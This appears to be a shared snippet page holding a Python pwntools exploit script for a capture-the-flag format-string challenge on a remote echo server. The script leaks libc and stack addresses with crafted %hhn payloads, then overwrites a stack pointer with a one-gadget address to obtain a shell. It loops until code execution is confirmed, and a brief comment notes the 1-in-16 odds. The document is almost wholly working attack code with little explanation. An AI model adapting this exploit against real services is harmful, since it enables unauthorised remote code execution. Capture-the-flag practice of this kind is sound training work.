Created
September 27, 2020 03:19
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#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from time import sleep | |
from formatstring import * | |
import random | |
#Addr | |
gadget = 0xe58c3 | |
stderr_libc = 0x3ec680 | |
""" | |
It require some trick to solve the challenge, since the format string is on heap, we can only leak for now. and make overwrites | |
if the stack contains some pointers. | |
1/16 chances. | |
""" | |
####Exploit | |
while True: | |
# io = process('./server') | |
io = remote('echoserver.darkarmy.xyz',32768) | |
io.sendafter('> ', | |
f'%c%c%c%c%c%c%c%{int(0xb8-0x7)}c%hhn'+\ | |
f'%{int(0xe0-0xb8)}c'+\ | |
f'%7$hhn'+\ | |
f'%6$p|%7$p') | |
try: | |
io.recvuntil(b'`') | |
libc_leak = int(io.recvn(14), 0) | |
libc_base = libc_leak - stderr_libc | |
print(f'Libc: {libc_base:#x}') | |
stack_leak = int(io.recvn(15).strip().replace(b'|',b''),0) | |
print(f'Stack: {stack_leak:#x}') | |
settings = PayloadSettings(offset=36,arch=x86_64) | |
p = WritePayload() | |
p[stack_leak+0x20] = p32(libc_base+gadget&0xffffffff) | |
payload = p.generate(settings) | |
io.sendline(payload) | |
io.sendline('echo \'ABCD\'') | |
data = io.recvline() | |
if b'ABCD' in data: break | |
else: continue | |
except: io.close(); continue | |
io.interactive() |
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